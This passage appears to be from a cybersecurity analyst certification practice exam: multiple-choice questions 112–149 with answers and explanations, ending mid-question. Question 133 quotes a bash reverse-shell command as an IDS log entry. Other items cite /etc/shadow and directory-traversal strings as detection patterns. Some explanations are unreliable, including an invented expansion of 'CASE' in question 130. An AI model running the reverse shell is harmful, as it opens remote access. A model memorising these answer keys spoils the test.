An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender.

Which of the following information security goals is the analyst most likely trying to achieve?

  1. Non-repudiation
  2. Authentication
  3. Authorization
  4. Integrity
Show answer and explanation

Correct answer: A. Non-repudiation

Non-repudiation is the security goal that prevents a sender from denying they sent a message. It provides cryptographic proof to a third party that the sender originated the message, typically through digital signatures. This allows the recipient to prove to an external party that the message authentically came from the claimed sender, which is exactly what the analyst wants to achieve in this banking scenario.

Why the other options are wrong

  • B. Authentication verifies the identity of the sender to the recipient, but doesn't provide proof to third parties that the sender cannot deny their actions.
  • C. Authorization controls what authenticated users are permitted to do, not whether a message came from a specific sender.
  • D. Integrity ensures a message hasn't been altered, but doesn't prove who sent it or prevent the sender from denying they sent it.

Question 113

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft.

Which of the following would be the best threat intelligence source to learn about this new campaign?

  1. Information sharing organization
  2. Blogs/forums
  3. Cybersecurity incident response team
  4. Deep/dark web
Show answer and explanation

Correct answer: A. Information sharing organization

An information sharing organization (such as ISACs or ISAOs specific to critical infrastructure or manufacturing) is the best source for threat intelligence about campaigns targeting critical supply chain entities. These organizations specialize in sharing threats relevant to specific sectors and critical infrastructure. Blogs/forums (option B) provide general information but lack sector-specific context. The incident response team (option C) investigates but isn't a primary intelligence source for new campaigns. The dark web (option D) is not a reliable or appropriate source for supply chain threat intelligence.

Why the other options are wrong

  • B. Blogs and forums lack verified, sector-specific threat intelligence relevant to critical manufacturing.
  • C. The incident response team responds to incidents but isn't a source for external threat campaign research.
  • D. The dark web is unreliable, unverified, and not the appropriate channel for critical infrastructure threat intelligence.

Question 114

An analyst is examining events in multiple systems but is having difficulty correlating data points.

Which of the following is most likely the issue with the system?

  1. Access rights
  2. Network segmentation
  3. Time synchronization
  4. Invalid playbook
Show answer and explanation

Correct answer: C. Time synchronization

Correlating events across multiple systems requires that all systems have synchronized time. When clocks are out of sync, events that occurred in sequence appear out of order or disconnected, making it impossible to correlate cause-and-effect relationships. Time synchronization (via NTP) is fundamental to effective log correlation and incident investigation across distributed systems.

Why the other options are wrong

  • A. Access rights affect what data an analyst can view, not the ability to correlate existing visible data.
  • B. Network segmentation affects system communication but not the time-based correlation of logged events.
  • D. Invalid playbooks affect response procedures, not the analyst's ability to see and correlate event data.

Question 115

A SOC analyst wants to improve the proactive detection of malicious emails before they are delivered to the destination inbox.

Which of the following is the best approach the SOC analyst can recommend?

  1. Install UEBA software on the network.
  2. Validate and quarantine emails with invalid DKIM and SPF headers.
  3. Implement an EDR system on each endpoint.
  4. Deploy a DLP platform to block unauthorized and suspicious content.
Show answer and explanation

Correct answer: B. Validate and quarantine emails with invalid DKIM and SPF headers.

Validating and quarantining emails with invalid DKIM and SPF headers is a proactive detection method that prevents malicious emails at the mail gateway before delivery. This directly addresses email authentication and is the most effective preventive measure. UEBA detects user behavior anomalies post-delivery, EDR is endpoint-focused after delivery, and DLP blocks data exfiltration rather than preventing malicious email delivery.

Why the other options are wrong

  • A. UEBA detects anomalous user behavior but operates after emails are delivered.
  • C. EDR is for endpoint protection after malware execution, not proactive email prevention.
  • D. DLP prevents data loss but does not proactively detect malicious emails before delivery.

Question 116

After reviewing the final report for a penetration test, a cybersecurity analyst prioritizes the remediation for input validation vulnerabilities.

Which of the following attacks is the analyst seeking to prevent?

  1. DNS poisoning
  2. Pharming
  3. Phishing
  4. Cross-site scripting
Show answer and explanation

Correct answer: D. Cross-site scripting

Remediating input validation flaws helps prevent Cross-Site Scripting (XSS). By rejecting input that does not match the expected type and format, an application makes it harder for attackers to inject scripts that execute in users' browsers. Input validation supports the main XSS defenses, which are output encoding, HTML sanitization and framework protections. Of the options listed, XSS is the only attack that input validation addresses.

Why the other options are wrong

  • A. DNS poisoning is prevented through DNS security measures like DNSSEC, not input validation.
  • B. Pharming attacks target DNS or network routing, not application input validation.
  • C. Phishing is a social engineering attack that bypasses technical controls like input validation.

Question 117

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

  1. OSSTMM
  2. SIEM
  3. SOAR
  4. OWASP
Show answer and explanation

Correct answer: C. SOAR

SOAR (Security Orchestration, Automation and Response) is specifically designed to minimize human engagement by automating repetitive security tasks and orchestrating responses across multiple tools. This directly supports process improvement in security operations by reducing manual work, improving response times, and enabling analysts to focus on higher-level tasks.

Why the other options are wrong

  • A. OSSTMM is a testing methodology framework, not an automation platform.
  • B. SIEM is a log aggregation and analysis tool that still requires human interpretation and decision-making.
  • D. OWASP is a web application security framework, not related to security operations automation.

Question 118

An organization plans to use an advanced machine-learning tool as a central collection server. The tool will perform data aggregation and analysis.

Which of the following should the organization implement?

  1. SIEM
  2. Firewalls
  3. Syslog server
  4. Flow analysis
Show answer and explanation

Correct answer: A. SIEM

A SIEM (Security Information and Event Management) system is specifically designed as a central collection server that performs data aggregation from multiple sources and advanced analysis, and can be enhanced with machine learning capabilities for threat detection and correlation.

Why the other options are wrong

  • B. Firewalls are network security controls, not central collection and analysis platforms.
  • C. Syslog servers collect log data but lack advanced analysis and machine learning capabilities of a SIEM.
  • D. Flow analysis tools focus on network traffic analysis, not comprehensive centralized data aggregation and analysis.

Question 119

An employee is no longer able to log in to an account after updating a browser. The employee usually has several tabs open in the browser.

Which of the following attacks was most likely performed?

  1. RFI
  2. LFI
  3. CSRF
  4. XSS
Show answer and explanation

Correct answer: C. CSRF

Cross-Site Request Forgery (CSRF) is the most likely attack when an employee loses login access after a browser update and typically has multiple tabs open. CSRF attacks exploit the trust a website has in a user's browser by executing unauthorized actions on authenticated sessions. When multiple tabs are open, a malicious tab can forge requests to another authenticated site (like a banking or email service), potentially changing passwords or account settings. The browser update may have removed CSRF protections or the employee may have visited a malicious site that exploited this vulnerability.

Why the other options are wrong

  • A. RFI (Remote File Inclusion) is a server-side vulnerability used to include external files, not related to login account compromise after browser updates.
  • B. LFI (Local File Inclusion) is also a server-side vulnerability for including local files, not an attack that prevents account login.
  • D. XSS (Cross-Site Scripting) typically steals session cookies or performs actions on behalf of users but doesn't directly prevent login access to an account.

Question 120

A cloud team received an alert that unauthorized resources were being auto-provisioned. After investigating, the team suspects that cryptomining is occurring.

Which of the following indicators would most likely lead the team to this conclusion?

  1. High GPU utilization
  2. Bandwidth consumption
  3. Unauthorized changes
  4. Unusual traffic spikes
Show answer and explanation

Correct answer: A. High GPU utilization

High GPU utilization is the most distinctive indicator of cryptomining activity. Cryptominers consume significant GPU resources to solve complex mathematical problems for cryptocurrency generation. While other indicators like bandwidth consumption or unusual traffic could occur, high GPU utilization is the most specific and reliable indicator of unauthorized cryptomining operations.

Why the other options are wrong

  • B. Bandwidth consumption varies widely with legitimate uses and is not a primary indicator of cryptomining.
  • C. Unauthorized changes refer to configuration modifications but don't specifically indicate cryptomining activity.
  • D. Unusual traffic spikes could result from many legitimate or malicious activities unrelated to cryptomining.

Question 121

A user downloads software that contains malware onto a computer that eventually infects numerous other systems.

Which of the following has the user become?

  1. Hacktivist
  2. Advanced persistent threat
  3. Insider threat
  4. Script kiddie
Show answer and explanation

Correct answer: C. Insider threat

A user who downloads malware that then propagates to other systems within the organization is an insider threat, someone with legitimate access to systems who causes harm, whether intentionally or through negligence. A hacktivist (option A) is motivated by activism. An APT (option B) is a sophisticated, state-sponsored group. A script kiddie (option D) uses existing tools but this user's actions resulted in systemic compromise, suggesting they are an insider with network access rather than external attackers using scripts.

Why the other options are wrong

  • A. Hacktivists are motivated by political or social causes, not inadvertent malware infection.
  • B. APTs are sophisticated state-sponsored groups, not individual users downloading software.
  • D. Script kiddies are external attackers using existing tools; an insider with network access fits better.

Question 122

The management team requests monthly KPI reports on the company’s cybersecurity program.

Which of the following KPIs would identify how long a security threat goes unnoticed in the environment?

  1. Employee turnover
  2. Intrusion attempts
  3. Mean time to detect
  4. Level of preparedness
Show answer and explanation

Correct answer: C. Mean time to detect

Mean Time to Detect (MTTD) directly measures how long a security threat remains undetected in the environment. It is the key performance indicator that quantifies detection effectiveness and the window of vulnerability.

Why the other options are wrong

  • A. Employee turnover measures HR metrics, not threat detection capabilities.
  • B. Intrusion attempts measure attack frequency, not detection speed.
  • D. Level of preparedness is vague and does not specifically measure detection time.

Question 123

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat.

Which of the following security controls would best support the company in this scenario?

  1. Implement step-up authentication for administrators
  2. Improve employee training and awareness
  3. Increase password complexity standards
  4. Deploy mobile device management
Show answer and explanation

Correct answer: B. Improve employee training and awareness

Employee training and awareness is the best control against sensitive information disclosure via file sharing services because it addresses the human behavior component, educating users about data classification, secure file sharing practices, and the risks of unauthorized disclosure. Technical controls alone cannot prevent users who understand the risks from making informed security decisions.

Why the other options are wrong

  • A. Step-up authentication for administrators doesn't address employee use of file sharing services for sensitive data.
  • C. Password complexity doesn't prevent intentional or accidental sensitive data uploads to file sharing services.
  • D. Mobile device management focuses on device security but doesn't prevent file sharing service misuse from any device.

Question 124

A company is in the process of implementing a vulnerability management program.

Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

  1. Non-credentialed scanning
  2. Passive scanning
  3. Agent-based scanning
  4. Credentialed scanning
Show answer and explanation

Correct answer: B. Passive scanning

Passive scanning minimizes risk to OT/ICS devices because it observes network traffic and systems without sending active probes or exploitation attempts. Active scanning methods (credentialed, non-credentialed, and agent-based) send packets and queries that can disrupt sensitive industrial control systems. Passive scanning gathers vulnerability information without directly interacting with the devices, preventing operational disruptions.

Why the other options are wrong

  • A. Non-credentialed scanning actively probes systems and can cause instability in sensitive OT/ICS environments.
  • C. Agent-based scanning requires installation on devices and active interaction, risking system malfunction in OT/ICS.
  • D. Credentialed scanning actively authenticates and queries systems, which can destabilize critical OT/ICS devices.

Question 125

Which of the following will most likely cause severe issues with authentication and logging?

  1. Virtualization
  2. Multifactor authentication
  3. Federation
  4. Time synchronization
Show answer and explanation

Correct answer: D. Time synchronization

Time synchronization is critical for authentication and logging systems. Most authentication mechanisms (Kerberos, TOTP, certificate validation) and logging systems (timestamps, event correlation) depend on synchronized clocks. When time is out of sync, authentication can fail and log integrity is compromised. Virtualization, MFA, and federation support rather than cause issues.

Why the other options are wrong

  • A. Virtualization does not directly cause authentication and logging issues.
  • B. Multifactor authentication enhances rather than causes authentication problems.
  • C. Federation enables distributed authentication without inherent authentication failure.

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Question 126

A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host.

Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

  1. /etc/shadow
  2. curl localhost
  3. ; printenv
  4. cat /proc/self/
Show answer and explanation

Correct answer: A. /etc/shadow

Local File Inclusion (LFI) vulnerabilities allow attackers to read arbitrary files from the server. The pattern '/etc/shadow' is the standard Linux system file containing password hashes and is a common target for LFI exploitation. Searching web server logs for attempts to access this path would reveal evidence of LFI exploitation attempts to extract credentials.

Why the other options are wrong

  • B. curl localhost is a command execution pattern, not specific to LFI exploitation.
  • C. printenv is environment variable extraction, not a typical LFI file path pattern.
  • D. /proc/self/ could appear in LFI attacks but /etc/shadow is the more direct and common target for credential extraction.

Question 127

An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database server.

Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Choose two).

  1. Drop the tables on the database server to prevent data exfiltration.
  2. Deploy EDR on the web server and the database server to reduce the adversary’s capabilities.
  3. Stop the httpd service on the web server so that the adversary can not use web exploits.
  4. Use microsegmentation to restrict connectivity to/from the web and database servers.
  5. Comment out the HTTP account in the /etc/passwd file of the web server.
  6. Move the database from the database server to the web server.
Show answer and explanation

Correct answer: B, D. Deploy EDR on the web server and the database server to reduce the adversary’s capabilities; Use microsegmentation to restrict connectivity to/from the web and database servers.

Option B (EDR) allows monitoring and blocking adversary actions without disrupting service, containing the threat while keeping systems operational. Option D (microsegmentation) restricts the adversary's lateral movement and access to the database while maintaining the required connectivity through controlled paths. Together, they contain the adversary while preserving the operational requirements of internet accessibility and database connectivity.

Why the other options are wrong

  • A. Dropping database tables would destroy data and violate the requirement to keep the system operational.
  • C. Stopping httpd would make the web server inaccessible from the internet, violating the operational requirements.
  • E. Commenting out the HTTP account would disrupt web service functionality.
  • F. Moving the database to the web server increases the attack surface and doesn't contain the adversary.

Question 128

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date.

Which of the following best describes a security analyst’s concern?

  1. Any discovered vulnerabilities will not be remediated.
  2. An outage of machinery would cost the organization money.
  3. Support will not be available for the critical machinery.
  4. There are no compensating controls in place for the OS.
Show answer and explanation

Correct answer: A. Any discovered vulnerabilities will not be remediated.

When an OS reaches end-of-life, vendors stop releasing security patches and updates. This means newly discovered vulnerabilities will not be remediated, leaving systems permanently exposed to known exploits. This is the core security concern for a security analyst, as it creates an indefinite vulnerability window that cannot be closed through normal patching.

Why the other options are wrong

  • B. Cost of outages is a business concern, not a security analyst's primary concern.
  • C. Lack of support is a symptom of the real issue; the root concern is unpatched vulnerabilities.
  • D. Compensating controls might exist but don't address the fundamental vulnerability remediation problem.

Question 129

During an incident, an analyst needs to acquire evidence for later investigation.

Which of the following must be collected first in a computer system, related to its volatility level?

  1. Disk contents
  2. Backup data
  3. Temporary files
  4. Running processes
Show answer and explanation

Correct answer: D. Running processes

In forensic acquisition, evidence must be collected in order of volatility, from most volatile to least volatile. Running processes in memory are the most volatile and will be lost immediately upon shutdown, making them the first priority to collect. Disk contents (option A) are persistent and can be collected later. Backup data (option B) is already stored and non-volatile. Temporary files (option C) are less volatile than running processes but more volatile than disk contents generally.

Why the other options are wrong

  • A. Disk contents are persistent and can be collected after volatile data without loss.
  • B. Backup data is already static and preserved, making it lowest priority in acquisition order.
  • C. Temporary files are less volatile than running processes and should be collected after memory.

Question 130

After a security assessment was done by a third-party consulting firm, the cybersecurity program recommended integrating DLP and CASE to reduce analyst alert fatigue.

Which of the following is the best possible outcome that this effort hopes to achieve?

  1. SIEM ingestion logs are reduced by 20%.
  2. Phishing alerts drop by 20%.
  3. False positive rates drop to 20%.
  4. The MTTR decreases by 20%.
Show answer and explanation

Correct answer: C. False positive rates drop to 20%.

DLP (Data Loss Prevention) and CASE (Computer Aided Soar Engineering) work together to reduce false positives by better filtering and contextualizing security alerts. The primary goal of integrating these technologies to reduce analyst alert fatigue is to decrease the false positive rate, allowing analysts to focus on genuine security incidents. A 20% reduction in false positives directly reduces wasted effort on non-threatening alerts and improves security team efficiency.

Why the other options are wrong

  • A. Reducing SIEM logs is not the primary outcome of DLP and CASE integration; these tools focus on alert quality, not log volume.
  • B. Phishing alerts are not directly addressed by DLP and CASE; these focus on data loss prevention and alert automation, not phishing detection.
  • D. While reduced false positives may eventually improve MTTR, the immediate and measurable benefit is the reduction in false positive rates themselves.

Question 131

A security analyst needs to ensure that systems across the organization are protected based on the sensitivity of the content each system hosts.

The analyst is working with the respective system owners to help determine the best methodology that seeks to promote confidentiality, availability, and integrity of the data being hosted.

Which of the following should the security analyst perform first to categorize and prioritize the respective systems?

  1. Interview the users who access these systems.
  2. Scan the systems to see which vulnerabilities currently exist.
  3. Configure alerts for vendor-specific zero-day exploits.
  4. Determine the asset value of each system.
Show answer and explanation

Correct answer: D. Determine the asset value of each system.

Before implementing a protection methodology based on data sensitivity, the analyst must first determine the asset value of each system. Understanding asset value is fundamental to categorizing and prioritizing systems according to their importance and the sensitivity of content they host. This assessment directly informs the level of protection (confidentiality, availability, integrity) required for each system.

Why the other options are wrong

  • A. Interviewing users provides operational context but does not establish the systematic basis for asset valuation and prioritization.
  • B. Scanning for vulnerabilities is a follow-up step after classification; it assumes systems are already categorized.
  • C. Configuring zero-day alerts is a preventive control but does not establish the foundational asset value assessment needed first.

Question 132

Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy.

Which of the following authentication methods should the analyst use?

  1. MFA
  2. User and password
  3. PAM
  4. Key pair
Show answer and explanation

Correct answer: D. Key pair

For a script downloading configuration from cloud tenancy, a key pair (public/private key authentication) is the best authentication method. Key pairs enable secure, non-interactive authentication suitable for automated scripts and API calls, avoiding the need for stored passwords and supporting proper audit trails.

Why the other options are wrong

  • A. MFA (Multi-Factor Authentication) is impractical for automated scripts as it requires interactive user input.
  • B. Storing username and password in scripts creates security risks and violates credential management best practices.
  • C. PAM (Privileged Access Management) is a framework for managing privileged accounts but doesn't directly solve the authentication method for scripts.

Question 133

A security analyst identified the following suspicious entry on the host-based IDS logs: bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

  1. #!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
  2. #!/bin/bash ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
  3. #!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
  4. #!/bin/bash netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
Show answer and explanation

Correct answer: D. #!/bin/bash netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

The suspicious entry shows a reverse shell attempting to establish a TCP connection to 10.1.2.3 on port 8080. Using `netstat -antp` to check for active network connections to that IP and port is the most accurate way to confirm if this malicious activity is currently ongoing, as it directly shows established connections.

Why the other options are wrong

  • A. Using `nc` to attempt connection tests connectivity but doesn't confirm if malicious activity is already established on the system.
  • B. Grepping for port 8080 in process listings is unreliable; the process may not show the port in its command line arguments.
  • C. Checking `/opt/tcp/` directory is incorrect; this is not a valid filesystem location for network connections.

Question 134

A security analyst needs to provide evidence of regular vulnerability scanning on the company's network for an auditing process.

Which of the following is an example of a tool that can produce such evidence?

  1. OpenVAS
  2. Burp Suite
  3. Nmap
  4. Wireshark
Show answer and explanation

Correct answer: A. OpenVAS

OpenVAS is a comprehensive vulnerability scanner that automatically scans networks and produces detailed vulnerability reports with evidence suitable for audit purposes. Burp Suite is primarily for web application testing, Nmap is a network mapping tool without primary vulnerability scanning capabilities, and Wireshark is a packet analyzer. Only OpenVAS is designed for regular vulnerability scanning with reportable findings.

Why the other options are wrong

  • B. Burp Suite is a web application penetration testing tool, not a network vulnerability scanner.
  • C. Nmap is a network discovery and port mapping tool, not a vulnerability scanner.
  • D. Wireshark is a packet capture and analysis tool, not a vulnerability scanner.

Question 135

A SOC manager is establishing a reporting process to manage vulnerabilities.

Which of the following would be the best solution to identify potential loss incurred by an issue?

  1. Trends
  2. Risk score
  3. Mitigation
  4. Prioritization
Show answer and explanation

Correct answer: B. Risk score

A risk score quantifies the potential impact and likelihood of a vulnerability, directly representing the potential loss or business impact incurred by an issue. Risk scores combine factors like severity, exploitability, and asset value to provide a numerical measure of potential loss, making them the best metric for identifying potential loss. Trends show patterns over time, mitigation describes responses, and prioritization is the ordering process, none directly identify potential loss quantification.

Why the other options are wrong

  • A. Trends analyze historical patterns but don't identify specific loss amounts
  • C. Mitigation is the response to risk, not identification of potential loss
  • D. Prioritization orders vulnerabilities but doesn't quantify potential loss

Question 136

The Chief Information Security Officer for an organization recently received approval to install a new EDR solution. Following the installation, the number of alerts that require remediation by an analyst has tripled.

Which of the following should the organization utilize to best centralize the workload for the internal security team? (Choose two.)

  1. SOAR
  2. SIEM
  3. MSP
  4. NGFW
  5. XDR
  6. DLP
Show answer and explanation

Correct answer: A, B. SOAR; SIEM

SOAR (Security Orchestration, Automation and Response) and SIEM (Security Information and Event Management) are the best tools to centralize and manage the tripled alert workload. SIEM aggregates, correlates, and normalizes alerts from multiple sources like EDR, providing visibility and filtering capabilities. SOAR automates response workflows, playbooks, and remediation actions, reducing analyst manual effort. Together, they create an integrated platform to manage the increased alert volume from the new EDR solution.

Why the other options are wrong

  • C. MSP (Managed Security Provider) is an external service model, not an internal tool for centralizing workload.
  • D. NGFW (Next-Generation Firewall) is a network security appliance that doesn't directly address alert management or analyst workload.
  • E. XDR (Extended Detection and Response) extends EDR capabilities but doesn't specifically address alert centralization and analyst workflow management.
  • F. DLP (Data Loss Prevention) focuses on preventing data exfiltration, not on managing or automating alert remediation.

Question 137

A cybersecurity analyst is tasked with scanning a web application to understand where the scan will go and whether there are URIs that should be denied access prior to more in-depth scanning.

Which of following best fits the type of scanning activity requested?

  1. Uncredentialed scan
  2. Discovery scan
  3. Vulnerability scan
  4. Credentialed scan
Show answer and explanation

Correct answer: B. Discovery scan

A discovery scan is designed to map out the target environment, identify accessible resources, and determine what URIs and endpoints exist before conducting more invasive testing. It helps analysts understand the scope and layout of the application without performing deep vulnerability analysis or causing disruption.

Why the other options are wrong

  • A. An uncredentialed scan tests external access but doesn't specifically focus on discovery and mapping.
  • C. A vulnerability scan looks for specific security weaknesses, not just mapping the application structure.
  • D. A credentialed scan requires authentication and is more invasive than a discovery scan.

Question 138

An analyst suspects cleartext passwords are being sent over the network.

Which of the following tools would best support the analyst's investigation?

  1. OpenVAS
  2. Angry IP Scanner
  3. Wireshark
  4. Maltego
Show answer and explanation

Correct answer: C. Wireshark

Wireshark is a packet sniffer and network traffic analyzer that captures and examines data packets in transit. It allows an analyst to inspect network communications at the packet level and identify cleartext credentials being transmitted over the network, making it the ideal tool for this investigation.

Why the other options are wrong

  • A. OpenVAS is a vulnerability scanner, not a packet analyzer for inspecting network traffic.
  • B. Angry IP Scanner scans network hosts and ports; it doesn't capture or analyze packet contents for credentials.
  • D. Maltego is an OSINT and data mining tool for gathering intelligence, not for analyzing live network traffic.

Question 139

A corporation wants to implement an agent-based endpoint solution to help:

• Flag various threats

• Review vulnerability feeds

• Aggregate data

• Provide real-time metrics by using scripting languages

Which of the following tools should the corporation implement to reach this goal?

  1. DLP
  2. Heuristics
  3. SOAR
  4. NAC
Show answer and explanation

Correct answer: C. SOAR

SOAR (Security Orchestration, Automation and Response) is an agent-based platform designed to integrate security tools, aggregate threat data from multiple feeds, flag threats, provide real-time metrics, and enable automation through scripting languages. It directly addresses all requirements: threat detection, vulnerability feed review, data aggregation, and real-time metrics with scripting capabilities.

Why the other options are wrong

  • A. DLP focuses on data loss prevention, not threat flagging or vulnerability feed aggregation.
  • B. Heuristics is a detection method, not a comprehensive endpoint solution with scripting and aggregation capabilities.
  • D. NAC controls network access but does not provide vulnerability feed review or real-time threat metrics.

Question 140

While reviewing the web server logs, a security analyst notices the following snippet:

..\../..\../boot.ini

Which of the following is being attempted?

  1. Directory traversal
  2. Remote file inclusion
  3. Cross-site scripting
  4. Remote code execution
  5. Enumeration of /etc/passwd
Show answer and explanation

Correct answer: A. Directory traversal

The pattern '..\..\/..\../' represents directory traversal sequences using both backslash and forward slash notations. This is a classic path traversal (also called directory traversal) attack attempting to navigate up the directory structure to access files outside the intended web root directory, such as boot.ini on Windows systems. The mixed slash notation is often used to bypass simple filters that may only check for one type of slash.

Why the other options are wrong

  • B. Remote file inclusion (RFI) involves including remote files via URL parameters; this log snippet shows local path manipulation, not remote file inclusion.
  • C. Cross-site scripting (XSS) involves injecting malicious scripts into web pages; the snippet shows filesystem path traversal, not script injection.
  • D. Remote code execution (RCE) would involve executing arbitrary commands; this snippet is attempting to access files through path traversal, not execute code.
  • E. While /etc/passwd enumeration is a goal of some attacks, the specific technique shown here is directory traversal, and the target shown is boot.ini, not /etc/passwd.

Question 141

A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with.

Which of the following is the best mitigation technique?

  1. Geoblock the offending source country.
  2. Block the IP range of the scans at the network firewall.
  3. Perform a historical trend analysis and look for similar scanning activity.
  4. Block the specific IP address of the scans at the network firewall.
Show answer and explanation

Correct answer: A. Geoblock the offending source country.

Geoblocking the entire country that poses no business value provides comprehensive defense against current and future attack attempts from that source, preventing all traffic from that nation at the perimeter. While blocking specific IPs is reactive, geoblocking is proactive and scalable. A single IP can be spoofed or rotated, and historical analysis doesn't stop the ongoing threat. Geoblocking is the best mitigation when an entire country is a non-business region.

Why the other options are wrong

  • B. Blocking single IP ranges is reactive and temporary; attackers can rotate IPs
  • C. Historical analysis is detective work but doesn't actively mitigate the current threat
  • D. Blocking specific IPs is easily circumvented by attackers using different source addresses

Question 142

Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice? (Choose two.)

  1. Law enforcement
  2. Governance
  3. Legal
  4. Manager
  5. Public relations
  6. Human resources
Show answer and explanation

Correct answer: C, E. Legal; Public relations

When communicating incident information to the general public, an incident manager must work with Legal to ensure compliance with regulatory requirements, data protection laws, and to manage organizational liability. Public Relations (or Communications) should also be involved to ensure the messaging is appropriate, accurate, clear, and maintains the organization's reputation. Legal handles the compliance and risk aspects while Public Relations manages the actual communication strategy and tone. These two roles are critical for any public-facing incident disclosure.

Why the other options are wrong

  • A. Law enforcement involvement is situational and only necessary for certain types of incidents involving criminal activity, not a standard best practice for all incident communications.
  • B. Governance structures may be involved in oversight but are not the primary operational entities responsible for managing public incident communication processes.
  • D. A manager's involvement is necessary for incident handling internally but does not specifically ensure correct processes for public communication and external messaging.
  • F. Human Resources handles internal personnel matters and is not typically involved in public incident reporting communication strategies.

Question 143

A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company’s business type may be able to breach the network and remain inside of it for an extended period of time.

Which of the following techniques should be performed to meet the CISO’s goals?

  1. Vulnerability scanning
  2. Adversary emulation
  3. Passive discovery
  4. Bug bounty
Show answer and explanation

Correct answer: B. Adversary emulation

Adversary emulation (red teaming/penetration testing) is the technique that directly addresses the CISO's concern about a known threat actor breaching the network and remaining undetected for an extended period. It simulates the specific tactics, techniques, and procedures (TTPs) of that threat actor to test the organization's detection and response capabilities. This proactive approach identifies gaps in defenses and dwell time capabilities.

Why the other options are wrong

  • A. Vulnerability scanning only identifies technical weaknesses, not whether an attacker can evade detection or persist unnoticed.
  • C. Passive discovery involves monitoring existing traffic without simulating attacks and won't test detection of a persistent threat actor.
  • D. Bug bounties crowd-source vulnerability discovery but don't test detection and response to active threat actor TTPs.

Question 144

A company is in the middle of an incident, and customer data has been breached.

Which of the following should the company contact first?

  1. Media
  2. Public relations
  3. Law enforcement
  4. Legal
Show answer and explanation

Correct answer: D. Legal

During a data breach, Legal should be contacted first because they must assess regulatory obligations, notification requirements, liability issues, and potential legal implications. Legal guidance determines what communication is made to other parties and when. Contacting media, PR, or law enforcement prematurely without legal review can expose the organization to additional liability.

Why the other options are wrong

  • A. Media should not be contacted before legal review of breach scope and implications.
  • B. PR should coordinate with legal before making public statements.
  • C. While law enforcement may eventually be involved, legal must first assess the breach and obligations.

Question 145

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

  1. MITRE ATT&CK
  2. Cyber Kill Cham
  3. OWASP
  4. STIX/TAXII
Show answer and explanation

Correct answer: A. MITRE ATT&CK

MITRE ATT&CK is a comprehensive framework specifically designed to catalog and compare Tactics, Techniques, and Procedures (TTPs) used by known adversaries. It enables security analysts to identify patterns and differences between threat actors.

Why the other options are wrong

  • B. Cyber Kill Chain describes attack phases but is not optimized for comparing TTPs between different adversaries.
  • C. OWASP focuses on web application security, not adversary TTP analysis.
  • D. STIX/TAXII are standards for sharing threat intelligence but not primarily designed for TTP comparison.

Question 146

Which of the following best describes the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m.?

  1. SLA
  2. LOI
  3. MOU
  4. KPI
Show answer and explanation

Correct answer: A. SLA

An SLA (Service Level Agreement) is a formal document that defines the expectations and commitments between a service provider and customer, including specific maintenance windows and service availability targets. The statement about patching occurring between 2:00 a.m. and 4:00 a.m. is a specific service commitment that would be documented in an SLA.

Why the other options are wrong

  • B. LOI (Letter of Intent) is a non-binding preliminary agreement, not an operational commitment document.
  • C. MOU (Memorandum of Understanding) is a general agreement on intentions but lacks the specific performance metrics and commitments of an SLA.
  • D. KPI (Key Performance Indicator) is a measurable value, not a document defining service expectations.

Question 147

An organization receives a legal hold request from an attorney. The request pertains to emails related to a disputed vendor contract.

Which of the following is the best step for the security team to take to ensure compliance with the request?

  1. Publicly disclose the request to other vendors
  2. Notify the departments involved to preserve potentially relevant information
  3. Establish a chain of custody starting with the attorney's request
  4. Back up the mailboxes on the server and provide the attorney with a copy
Show answer and explanation

Correct answer: B. Notify the departments involved to preserve potentially relevant information

The appropriate first step is to notify relevant departments to preserve potentially relevant information. This ensures evidence preservation and prevents destruction of responsive materials. Disclosing publicly (A) violates attorney-client privilege and confidentiality. Chain of custody (C) begins after preservation is underway. Providing backups (D) occurs after legal review and is typically handled by legal/compliance, not security providing copies directly.

Why the other options are wrong

  • A. Public disclosure violates attorney-client privilege and case confidentiality.
  • C. Chain of custody is established after preservation protocols begin, not as the initial step.
  • D. Providing data copies directly bypasses proper legal and compliance procedures.

Question 148

An organization was compromised, and the usernames and passwords of all employees were leaked online.

Which of the following best describes the remediation that could reduce the impact of this situation?

  1. Multifactor authentication
  2. Password changes
  3. System hardening
  4. Password encryption
Show answer and explanation

Correct answer: B. Password changes

Once usernames and passwords are leaked, the direct remediation is to force password changes so the exposed credentials no longer work. This invalidates what the attacker holds and closes the immediate exposure. Multifactor authentication is a valuable preventive control but does not by itself remediate the leaked passwords.

Why the other options are wrong

  • A. Multifactor authentication is a preventive control that strengthens logins, but the leaked passwords would remain valid and reusable elsewhere.
  • C. System hardening reduces the attack surface generally but does nothing about valid credentials already in attackers' hands.
  • D. Password encryption protects stored passwords but cannot help once the plaintext credentials have already been leaked.

Question 149

A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network.

